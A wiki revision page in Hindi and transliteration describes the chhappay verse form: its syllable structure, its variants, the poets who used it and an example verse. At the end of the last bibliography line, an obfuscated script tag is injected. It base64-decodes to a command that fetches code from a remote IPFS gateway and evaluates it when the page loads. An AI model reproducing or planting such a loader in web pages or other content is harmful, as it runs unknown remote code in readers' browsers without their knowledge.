Difference between revisions of "छप्पय"
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छप्पय मात्रिक विषम छन्द है। 'प्राकृतपैंगलम्'<ref> प्राकृतपैंगलम् - 1|105</ref> में इसका लक्षण और इसके भेद दिये गये हैं। | छप्पय मात्रिक विषम छन्द है। 'प्राकृतपैंगलम्'<ref> प्राकृतपैंगलम् - 1|105</ref> में इसका लक्षण और इसके भेद दिये गये हैं। | ||
;मात्रायें | ;मात्रायें | ||
− | छप्पय भी संयुक्त [[छन्द]] है, जो रोला (11+13) चार पाद उल्लाला (15+13) के दो पाद के योग से बनता है। उल्लाला के दो भेदों के अनुसार छप्पय के पाँचवें और छठे पाद में 26 या 28 मात्राएँ हो सकती हैं। | + | छप्पय भी संयुक्त [[छन्द]] है, जो [[रोला]] (11+13) चार पाद [[उल्लाला छन्द|उल्लाला]] (15+13) के दो पाद के योग से बनता है। उल्लाला के दो भेदों के अनुसार छप्पय के पाँचवें और छठे पाद में 26 या 28 मात्राएँ हो सकती हैं। |
;छप्पय के भेद | ;छप्पय के भेद | ||
प्रधान रूप से 28 मात्राओं वाले भेद को कवियों ने अपनाया है। भानु ने इसके 71 भेदों का उल्लेख किया है। | प्रधान रूप से 28 मात्राओं वाले भेद को कवियों ने अपनाया है। भानु ने इसके 71 भेदों का उल्लेख किया है। | ||
==हिंदी साहित्य में प्रयोग== | ==हिंदी साहित्य में प्रयोग== | ||
− | छप्पय [[अपभ्रंश]] और [[हिन्दी]] में समान रूप से प्रिय रहा है। इसका प्रयोग हिन्दी के अनेक कवियों ने किया है। [[चन्दवरदाई|चन्द]]<ref> [[पृथ्वीराजरासो]]</ref>, [[तुलसीदास|तुलसी]]<ref> [[कवितावली]]</ref>, [[केशव]]<ref> रामचन्द्रिका</ref>, [[नाभादास]] <ref>[[भक्तमाल |भक्तमाल]]</ref>, [[भूषण]] <ref>शिवराजभूषण</ref>, [[मतिराम]] <ref>ललितललाम</ref>, [[सूदन]] <ref>[[सुजानचरित]]</ref>, [[पद्माकर]] <ref>प्रतापसिंह विरुदावली</ref> तथा जोधराज [[हम्मीर रासो|हम्मीर रासो]] ने इस [[छन्द]] का प्रयोग किया है। इस छन्द का प्रयोग [[वीर रस|वीर]] तथा समान [[रस|रसों]] में [[चन्दवरदाई|चन्द]] से लेकर [[पद्माकर]] तक ने किया है। इस छन्द के प्रारम्भ में प्रयुक्त रोला में गीता का चढ़ाव है और अन्त में उल्लाला में उतार है। इसी कारण युद्ध आदि के वर्णन में भावों के उतार-चढ़ाव का इसमें अच्छा वर्णन किया जाता है। पर [[नाभादास]], [[तुलसीदास]] तथा हरिश्चन्द्र ने भक्ति-भावना के लिए इस छन्द का प्रयोग किया है। उदाहरण - | + | छप्पय [[अपभ्रंश]] और [[हिन्दी]] में समान रूप से प्रिय रहा है। इसका प्रयोग हिन्दी के अनेक कवियों ने किया है। [[चन्दवरदाई|चन्द]]<ref> [[पृथ्वीराजरासो]]</ref>, [[तुलसीदास|तुलसी]]<ref> [[कवितावली]]</ref>, [[केशव]]<ref> रामचन्द्रिका</ref>, [[नाभादास]] <ref>[[भक्तमाल |भक्तमाल]]</ref>, [[भूषण]] <ref>शिवराजभूषण</ref>, [[मतिराम]] <ref>ललितललाम</ref>, [[सूदन]] <ref>[[सुजानचरित]]</ref>, [[पद्माकर]] <ref>प्रतापसिंह विरुदावली</ref> तथा जोधराज [[हम्मीर रासो|हम्मीर रासो]] ने इस [[छन्द]] का प्रयोग किया है। इस छन्द का प्रयोग [[वीर रस|वीर]] तथा समान [[रस|रसों]] में [[चन्दवरदाई|चन्द]] से लेकर [[पद्माकर]] तक ने किया है। इस [[छन्द]] के प्रारम्भ में प्रयुक्त [[रोला]] में '[[गीता]]' का चढ़ाव है और अन्त में उल्लाला में उतार है। इसी कारण युद्ध आदि के वर्णन में भावों के उतार-चढ़ाव का इसमें अच्छा वर्णन किया जाता है। पर [[नाभादास]], [[तुलसीदास]] तथा हरिश्चन्द्र ने भक्ति-भावना के लिए इस छन्द का प्रयोग किया है। उदाहरण - |
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"डिगति उर्वि अति गुर्वि, सर्व पब्बे समुद्रसर। | "डिगति उर्वि अति गुर्वि, सर्व पब्बे समुद्रसर। | ||
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==संबंधित लेख== | ==संबंधित लेख== |
Latest revision as of 07:40, 3 September 2014
chhappay matrik visham chhand hai. 'prakritapaiangalamh'[1] mean isaka lakshan aur isake bhed diye gaye haian.
- matrayean
chhappay bhi sanyukt chhand hai, jo rola (11+13) char pad ullala (15+13) ke do pad ke yog se banata hai. ullala ke do bhedoan ke anusar chhappay ke paanchavean aur chhathe pad mean 26 ya 28 matraean ho sakati haian.
- chhappay ke bhed
pradhan roop se 28 matraoan vale bhed ko kaviyoan ne apanaya hai. bhanu ne isake 71 bhedoan ka ullekh kiya hai.
hiandi sahity mean prayog
chhappay apabhransh aur hindi mean saman roop se priy raha hai. isaka prayog hindi ke anek kaviyoan ne kiya hai. chand[2], tulasi[3], keshav[4], nabhadas [5], bhooshan [6], matiram [7], soodan [8], padmakar [9] tatha jodharaj hammir raso ne is chhand ka prayog kiya hai. is chhand ka prayog vir tatha saman rasoan mean chand se lekar padmakar tak ne kiya hai. is chhand ke prarambh mean prayukt rola mean 'gita' ka chadhav hai aur ant mean ullala mean utar hai. isi karan yuddh adi ke varnan mean bhavoan ke utar-chadhav ka isamean achchha varnan kiya jata hai. par nabhadas, tulasidas tatha harishchandr ne bhakti-bhavana ke lie is chhand ka prayog kiya hai. udaharan -
"digati urvi ati gurvi, sarv pabbe samudrasar.
byal badhir tehi kal, bikal digapal charachar.
diggayand larakharat, parat dasakanth mukkhabhar.
sur biman him bhanu, bhanu sanghatit paraspar.
chauanki biranchi shankar sahit, kol kamath ahi kalamalyau.
brahmand khand kiyo chand dhuni, jabahian ram shiv dhanu dalyau॥"[10]
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tika tippani aur sandarbh
- ↑ prakritapaiangalamh - 1|105
- ↑ prithvirajaraso
- ↑ kavitavali
- ↑ ramachandrika
- ↑ bhaktamal
- ↑ shivarajabhooshan
- ↑ lalitalalam
- ↑ sujanacharit
- ↑ pratapasianh virudavali
- ↑ kavitavali : bal. 11
dhireandr, varma “bhag- 1 par adharit”, hiandi sahity kosh (hiandi), 250.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh